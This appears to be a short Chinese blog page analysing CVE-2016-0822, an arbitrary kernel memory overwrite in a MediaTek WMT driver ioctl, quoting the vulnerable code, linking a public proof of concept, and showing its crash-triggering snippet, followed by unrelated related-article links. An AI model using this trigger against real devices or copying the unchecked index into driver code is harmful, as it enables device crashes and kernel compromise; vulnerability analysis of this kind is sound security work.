CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158
- CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158
//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
UINT32 dowloadSeq;
UCHAR addRess[4];
UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO; VOID wmt_lib_set_patch_num(unsigned long num)
{
P_DEV_WMT pWmtDev = &gDevWmt;
pWmtDev->patchNum = num;
} ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
case WMT_IOCTL_SET_PATCH_INFO:{
...
if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
iRet = -EFAULT;
break;
}
...
dWloadSeq = wMtPatchInfo.dowloadSeq;
//arbitrary memory overwrite. user can control dowloadSeq
osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
sizeof(WMT_PATCH_INFO));
CVE-2016-0822 PoC :
https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c
/* set some absurd offset, in hopes of causing panic or GPF */
overflow.dowloadSeq = 0x31337;
/* set obvious bogus data into data fields.
* If I had exploitation skills these would contain pointers to userland!
*/
memset(&overflow.addRess, 'A', 4);
memset(&overflow.patchName, 'A', 256); ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158的更多相关文章
- linux 编译kernel与svn版本冲突解决方法 [drivers/gpu/mali/mali/common/mali_kernel_core.o] 错误 1
问题: 系统正常编译linux系统kernel,安装svn后,kernel编译出错. 错误: CHK include/linux/version.h CHK include/gene ...
- 《Linux Device Drivers》第十四章 Linux 设备型号
基本介绍 2.6内核设备模型来提供的抽象叙述性描述的一般系统的结构,为了支持各种不同的任务 电源管理和系统关机 用户空间与通信 热插拔设备 设备类型 kobject.kset和子系统 kobject是 ...
- MTK平台下Battery驱动分析
主要涉及代码: Kernel: kernel-3.10\drivers\power\mediatek\ kernel-3.10\drivers\misc\mediatek\mach\mt6580\&l ...
- MTK平台系统稳定性分析
目录 1:简介 2:怎么抓取和分析log 3:怎么确定问题点 简介 系统稳定性目前主要是解决系统死机重启. 分为两部分:Android /kernel Kernel 分析需要的文件和工具: Mtklo ...
- MTK 平台sensor arch 介绍-scp
架构介绍 路径:vendor/mediatek/proprietary/tinysys/scp 1.[build]编译相关 2.[driver]scp 的driver,I2C,power,eint 3 ...
- MTK 虚拟 sensor bring up (pick up) sensor2.0
pick up bring up sensor2.0 1.SCP侧的配置 (1) 放置驱动pickup.c (2) 添加底层驱动文件编译开关 (3) 加入编译文件 (4) 增加数据上报方式 (5)修改 ...
- MTK 屏幕旋转90度
http://blog.csdn.net/ouo555/article/details/44806837 1.屏幕显示顺时针旋转90度 lk 横屏logo,顺时针旋转90度显示修改bootable/b ...
- MTK驱动移植相关路径
转自:http://blog.csdn.net/yicao821/article/details/52314578 一.Flash兼容 bootable/bootloader/preloader/to ...
- MTK HDMI 流程
一.HDMI初始化 1. kernel-3.18/drivers/misc/mediatek/ext_disp/mtk_extd_mgr.c static int __init mtk_extd_mg ...
随机推荐
- NOIP2017 D2T2 宝藏
洛谷P3959 其实就是一道暴力搜索题……只是需要一个状态压缩的剪枝比较难想而已 这根本不叫dfs!只是一个递归而已……开始就被dfs坑了 思路: 首先一个基本的预处理 数据范围n≤12,m≤5000 ...
- 【leetcode】Decode Ways
题目如下: 解题思路:这个题目的本质是一个爬楼梯问题,在爬楼梯问题中,每次可以选择走一步或者两步.而本题也是一样的,解码的时候选择解码一个字符或者两个字符,但是加大了一点点难度,要考虑这些情况.1,Z ...
- extjs定时器TaskRunner
Extjs封装了一个定时器类叫TaskRunner,该类在Ext.util下,先看看其公共方法: TaskRunner( Number interval ) interval : Number ( ...
- luogu P1217 [USACO1.5]回文质数 Prime Palindromes x
P1217 [USACO1.5]回文质数 Prime Palindromes 题目描述 因为151既是一个质数又是一个回文数(从左到右和从右到左是看一样的),所以 151 是回文质数. 写一个程序来找 ...
- tomcat安全配置参考
0x01 基本配置 1 删除默认目录 安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件 rm -rf /srv/apache-tomcat/webapps/ ...
- 转载:mybatis中<![CDATA[]]>的作用
作者:QH_JAVA 来源:CSDN 原文:https://blog.csdn.net/qh_java/article/details/50755655?utm_source=copy 在使用myba ...
- 查看Oracle数据库中的执行计划
1.set autotrace traceonly命令 2.explain plan for命令 1)explain plan for select * from dual; 2)select * f ...
- 011-Spring Boot 运行流程分析SpringApplication.run
一.程序入口 1.1.静态方法 //直接调用run方法 ConfigurableApplicationContext context = SpringApplication.run(App.class ...
- kafka 和 rocketMQ 的数据存储
kafka 版本:1.1.1 一个分区对应一个文件夹,数据以 segment 文件存储,segment 默认 1G. 分区文件夹: segment 文件: segment 的命名规则是怎样的? kaf ...
- VMware 虚拟化编程(12) — VixDiskLib Sample 程序使用
目录 目录 前文列表 vixDiskLibSample 安装 Sample 程序 Sample 程序使用方法 前文列表 VMware 虚拟化编程(1) - VMDK/VDDK/VixDiskLib/V ...